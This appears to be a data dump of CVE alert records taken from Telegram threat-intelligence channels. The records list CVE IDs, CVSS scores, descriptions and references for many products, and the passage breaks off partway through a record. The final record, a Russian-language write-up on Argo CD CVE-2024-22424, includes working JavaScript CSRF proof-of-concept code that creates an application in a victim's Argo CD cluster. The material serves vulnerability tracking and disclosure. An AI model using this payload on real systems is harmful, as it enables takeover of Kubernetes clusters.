2025-05-22T04:11:19.951Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/448469\n2. https://hackerone.com/reports/2404710", "creation_timestamp": "2025-05-22T04:42:58.000000Z"}, {"uuid": "e3bd7633-3a14-4979-ba39-a8cacaf19398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22152", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17437", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22152\n\ud83d\udd25 CVSS Score: 8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Unrestricted Upload of File with Dangerous Type vulnerability in WebToffee Product Import Export for WooCommerce.This issue affects Product Import Export for WooCommerce: from n/a through 2.3.7.\n\n\n\ud83d\udccf Published: 2024-01-24T11:48:56.237Z\n\ud83d\udccf Modified: 2025-05-23T16:01:11.574Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/product-import-export-for-woo/wordpress-product-import-export-for-woocommerce-plugin-2-3-7-arbitrary-file-upload-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-23T16:47:10.000000Z"}, {"uuid": "472f7765-f1fc-471e-a106-7f51ead547f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22309", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17436", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22309\n\ud83d\udd25 CVSS Score: 8.7 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N)\n\ud83d\udd39 Description: Deserialization of Untrusted Data vulnerability in QuantumCloud ChatBot with AI.This issue affects ChatBot with AI: from n/a through 5.1.0.\n\n\n\ud83d\udccf Published: 2024-01-24T11:42:42.859Z\n\ud83d\udccf Modified: 2025-05-23T16:01:17.938Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/chatbot/wordpress-ai-chatbot-plugin-5-1-0-unauthenticated-php-object-injection-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-23T16:47:09.000000Z"}, {"uuid": "fa5cefcf-acb5-4b66-a651-48555226d051", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22818", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17791", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22818\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerbility via /system/site/filterKeyword_save\n\ud83d\udccf Published: 2024-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-09T20:50:22.523Z\n\ud83d\udd17 References:\n1. https://github.com/mafangqian/cms/blob/main/3.md", "creation_timestamp": "2025-06-09T21:32:11.000000Z"}, {"uuid": "9c860c96-7c71-4576-a64a-7045565522eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22119", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17738", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22119\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: The cause of vulnerability is improper validation of form input field \u201cName\u201d on Graph page in Items section.\n\ud83d\udccf Published: 2024-02-09T08:26:20.006Z\n\ud83d\udccf Modified: 2025-06-09T17:19:17.899Z\n\ud83d\udd17 References:\n1. https://support.zabbix.com/browse/ZBX-24070\n2. https://lists.debian.org/debian-lts-announce/2024/04/msg00020.html", "creation_timestamp": "2025-06-09T18:11:31.000000Z"}, {"uuid": "9f6fc066-2cdf-4bfc-97ca-f0c61138c6ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22860", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17743", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22860\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Integer overflow vulnerability in FFmpeg before n6.1, allows remote attackers to execute arbitrary code via the jpegxl_anim_read_packet component in the JPEG XL Animation decoder.\n\ud83d\udccf Published: 2024-01-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-09T18:49:48.283Z\n\ud83d\udd17 References:\n1. https://github.com/FFmpeg/FFmpeg/commit/d2e8974699a9e35cc1a926bf74a972300d629cd5\n2. https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=61991", "creation_timestamp": "2025-06-09T19:48:03.000000Z"}, {"uuid": "30d4c513-e101-4ad3-ae7e-4e0862106712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22312", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22312\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: IBM Storage Defender - Resiliency Service 2.0 stores user credentials in plain clear text which can be read by a local user.  IBM X-Force ID:  278748.\n\ud83d\udccf Published: 2024-02-10T15:41:46.345Z\n\ud83d\udccf Modified: 2025-06-10T16:17:34.356Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7115261\n2. https://exchange.xforce.ibmcloud.com/vulnerabilities/278748", "creation_timestamp": "2025-06-10T16:31:57.000000Z"}, {"uuid": "efb65d40-99ac-4eb3-b61c-02410720e0c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22562", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18502", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22562\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: swftools 0.9.2 was discovered to contain a Stack Buffer Underflow via the function dict_foreach_keyvalue at swftools/lib/q.c.\n\ud83d\udccf Published: 2024-01-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-16T18:13:31.793Z\n\ud83d\udd17 References:\n1. https://github.com/matthiaskramm/swftools/issues/210", "creation_timestamp": "2025-06-16T18:38:56.000000Z"}, {"uuid": "f7e26ba6-866a-4c96-b44d-edb01a9f4673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22192", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18538", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22192\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Ursa is a cryptographic library for use with blockchains. The revocation scheme that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model. Notably, a malicious verifier may be able to generate a unique identifier for a holder providing a verifiable presentation that includes a Non-Revocation proof. The impact of the flaw is that a malicious verifier may be able to determine a unique identifier for a holder presenting a Non-Revocation proof. Ursa has moved to end-of-life status and no fix is expected.\n\ud83d\udccf Published: 2024-01-16T21:44:53.121Z\n\ud83d\udccf Modified: 2025-06-16T19:46:20.983Z\n\ud83d\udd17 References:\n1. https://github.com/hyperledger-archives/ursa/security/advisories/GHSA-6698-mhxx-r84g", "creation_timestamp": "2025-06-16T20:37:26.000000Z"}, {"uuid": "01a671c2-1d58-4925-a544-6d697b36294d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22076", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18541", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22076\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: MyQ Print Server before 8.2 patch 43 allows remote authenticated administrators to execute arbitrary code via PHP scripts that are reached through the administrative interface.\n\ud83d\udccf Published: 2024-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-16T19:43:46.833Z\n\ud83d\udd17 References:\n1. https://docs.myq-solution.com/en/print-server/8.2/\n2. https://docs.myq-solution.com/en/print-server/8.2/technical-changelog#id-%288.2%29ReleaseNotes-8.2%28Patch43%29\n3. https://www.access42.nl/nieuws/unmasking-web-vulnerabilities-a-tale-of-default-admin-credentials-and-php-command-execution-cve-2024-22076/", "creation_timestamp": "2025-06-16T20:37:29.000000Z"}, {"uuid": "d9b2e6f5-ccd5-45d8-b3e1-edaf4c1c7581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22216", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18802", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22216\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In default installations of Microchip maxView Storage Manager (for Adaptec Smart Storage Controllers) where Redfish server is configured for remote system management, unauthorized access can occur, with data modification and information disclosure. This affects 3.00.23484 through 4.14.00.26064 (except for the patched versions 3.07.23980 and 4.07.00.25339).\n\ud83d\udccf Published: 2024-01-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-18T16:54:35.287Z\n\ud83d\udd17 References:\n1. https://www.microchip.com/en-us/solutions/embedded-security/how-to-report-potential-product-security-vulnerabilities/maxview-storage-manager-redfish-server-vulnerability", "creation_timestamp": "2025-06-18T17:39:08.000000Z"}, {"uuid": "e3ee22e5-b385-4657-8e46-9316239f20a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22751", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19054", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22751\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: D-Link DIR-882 DIR882A1_FW130B06 was discovered to contain a stack overflow via the sub_477AA0 function.\n\ud83d\udccf Published: 2024-01-24T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T19:27:54.785Z\n\ud83d\udd17 References:\n1. https://www.dlink.com/en/security-bulletin/\n2. https://github.com/5erua/vuls/blob/main/dir882.md", "creation_timestamp": "2025-06-20T19:43:41.000000Z"}, {"uuid": "7cb78d9b-e7d5-4d46-9340-d2948268b1d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22366", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19055", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22366\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier.\n\ud83d\udccf Published: 2024-01-24T04:35:55.337Z\n\ud83d\udccf Modified: 2025-06-20T19:27:11.652Z\n\ud83d\udd17 References:\n1. http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html\n2. https://jvn.jp/en/vu/JVNVU99896362/", "creation_timestamp": "2025-06-20T19:43:42.000000Z"}, {"uuid": "175d9832-1d92-4b1e-b842-dde5a2e1c359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22955", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19031", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22955\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: swftools 0.9.2 was discovered to contain a stack-buffer-underflow vulnerability via the function parseExpression at swftools/src/swfc.c:2576.\n\ud83d\udccf Published: 2024-01-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T18:23:20.611Z\n\ud83d\udd17 References:\n1. https://github.com/matthiaskramm/swftools/issues/207", "creation_timestamp": "2025-06-20T18:42:25.000000Z"}, {"uuid": "a4d8699b-d7d3-47f3-9ac0-977ac8d9c6f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22957", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19030", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22957\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: swftools 0.9.2 was discovered to contain an Out-of-bounds Read vulnerability via the function dict_do_lookup in swftools/lib/q.c:1190.\n\ud83d\udccf Published: 2024-01-19T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T18:24:20.809Z\n\ud83d\udd17 References:\n1. https://github.com/matthiaskramm/swftools/issues/206", "creation_timestamp": "2025-06-20T18:42:24.000000Z"}, {"uuid": "d74dbcb8-ae92-4744-82e2-1d0f2c951e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22601", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19037", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22601\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/score/scorerule_save\n\ud83d\udccf Published: 2024-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T18:15:48.200Z\n\ud83d\udd17 References:\n1. https://github.com/ljw11e/cms/blob/main/5.md", "creation_timestamp": "2025-06-20T18:42:33.000000Z"}, {"uuid": "91144337-eb56-42d8-b6d0-57ae1bc19849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22549", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19042", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22549\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the email settings of the website settings section.\n\ud83d\udccf Published: 2024-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T18:13:36.994Z\n\ud83d\udd17 References:\n1. https://github.com/cccbbbttt/cms/blob/main/1.md", "creation_timestamp": "2025-06-20T18:42:41.000000Z"}, {"uuid": "4f17169f-277a-41d2-aec2-d69f324508b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22568", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19041", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22568\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/score/del.\n\ud83d\udccf Published: 2024-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T18:14:23.213Z\n\ud83d\udd17 References:\n1. https://github.com/kayo-zjq/myc/blob/main/1.md", "creation_timestamp": "2025-06-20T18:42:37.000000Z"}, {"uuid": "a3f7be8f-538a-4082-8954-dce4b7fe1b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22591", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19038", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22591\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_save.\n\ud83d\udccf Published: 2024-01-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T18:15:10.713Z\n\ud83d\udd17 References:\n1. https://github.com/ysuzhangbin/cms2/blob/main/1.md", "creation_timestamp": "2025-06-20T18:42:34.000000Z"}, {"uuid": "03871fa8-9d7e-4115-8e22-daea0dd5c1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22635", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19045", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22635\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: WebCalendar v1.3.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /WebCalendarvqsmnseug2/edit_entry.php.\n\ud83d\udccf Published: 2024-01-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T19:36:03.323Z\n\ud83d\udd17 References:\n1. https://packetstormsecurity.com/files/176365/WebCalendar-1.3.0-Cross-Site-Scripting.html", "creation_timestamp": "2025-06-20T19:43:29.000000Z"}, {"uuid": "b8fc71d1-c4f1-4920-bde4-f72da45067b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22836", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19073", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22836\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An OS command injection vulnerability exists in Akaunting v3.1.3 and earlier. An attacker can manipulate the company locale when installing an app to execute system commands on the hosting server.\n\ud83d\udccf Published: 2024-02-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T20:16:15.877Z\n\ud83d\udd17 References:\n1. https://github.com/akaunting/akaunting/releases/tag/3.1.4\n2. https://akaunting.com/\n3. https://github.com/u32i/cve/tree/main/CVE-2024-22836", "creation_timestamp": "2025-06-20T20:44:16.000000Z"}, {"uuid": "b20cb6ea-b6f8-41e1-b6da-5b693a954786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19077", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22853\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: D-LINK Go-RT-AC750 GORTAC750_A1_FW_v101b03 has a hardcoded password for the Alphanetworks account, which allows remote attackers to obtain root access via a telnet session.\n\ud83d\udccf Published: 2024-02-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T20:13:39.786Z\n\ud83d\udd17 References:\n1. https://www.dlink.com/en/security-bulletin/\n2. https://github.com/Beckaf/vunl/blob/main/D-Link/AC750/2/2.md", "creation_timestamp": "2025-06-20T20:44:20.000000Z"}, {"uuid": "5b012c41-9e42-4d84-9d49-63cd41866ad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22127", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/60394", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aSAP RCE auto-chain (CVE-2024-22127 + DIAG)\nURL\uff1ahttps://github.com/mylo-2001/SAPSlayer\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-11-21T12:01:02.000000Z"}, {"uuid": "27e2a210-94dd-47f2-bb42-f671c2c959c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "https://t.me/cvedetector/18066", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-2240 - Brocade SANnav Docker Daemon Unauthenticated Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-2240 \nPublished : Feb. 14, 2025, 5:15 a.m. | 39\u00a0minutes ago \nDescription : Docker daemon in Brocade SANnav before SANnav 2.3.1b runs without auditing. The vulnerability could allow a remote authenticated attacker to execute various attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-14T07:23:27.000000Z"}, {"uuid": "2315d612-9c76-42a9-b2a6-b23c63fd149d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22424", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/4389", "content": "2024-\u044b\u0439 \u0433\u043e\u0434 \u0434\u043b\u044f Argo CD \u043d\u0430\u0447\u0430\u043b\u0441\u044f \u0441 \u043f\u0430\u0447\u043a\u0438 CVE (\u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 DoS), \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0430\u0448\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0430 CVE-2024-22424: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd.\n\n\u0412\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 API Argo CD \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u043a CSRF (1,2). \u041d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 (\u0432\u0438\u0434\u0438\u043c\u043e \u043d\u0435 \u0431\u044b\u043b\u043e \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u044b\u0445 \u043f\u0440\u0443\u0444\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438) \u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0440 \u043c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u0438 \u0441\u0442\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0432\u0430\u0442\u044c Lax SameSite cookie, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u043e\u0439\u0442\u0438, \u0435\u0441\u043b\u0438 origin \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0442\u043e\u043c \u0436\u0435 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435, \u0447\u0442\u043e \u0438 target.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0435 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043d\u0430 marketing.victim.com (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0445\u0440\u0430\u043d\u0438\u043c\u0443\u044e XSS) \u0438 \u0435\u0433\u043e \u0446\u0435\u043b\u044c\u044e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Argo CD \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 argocd.internal.victim.com. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 PoC \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0447\u0435\u0440\u0435\u0437 CSRF \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u043c Kubernetes. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 JavaScript \u043a\u043e\u0434:\n\n\nvar xhr = new XMLHttpRequest();\nxhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');\nxhr.setRequestHeader('Content-Type', 'text/plain')\nxhr.withCredentials = true;\nxhr.send('{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"Application\",\"metadata\":{\"name\":\"test-app1\"},\"spec\":{\"destination\":{\"name\":\"\",\"namespace\":\"default\",\"server\":\"https://kubernetes.default.svc\"},\"source\":{\"path\":\"argotest1\",\"repoURL\":\"https://github.com/user/repo\",\"targetRevision\":\"HEAD\"},\"sources\":[],\"project\":\"default\",\"syncPolicy\":{\"automated\":{\"prune\":false,\"selfHeal\":false}}}}')\n\n\n\u041f\u043e\u0441\u043b\u0435 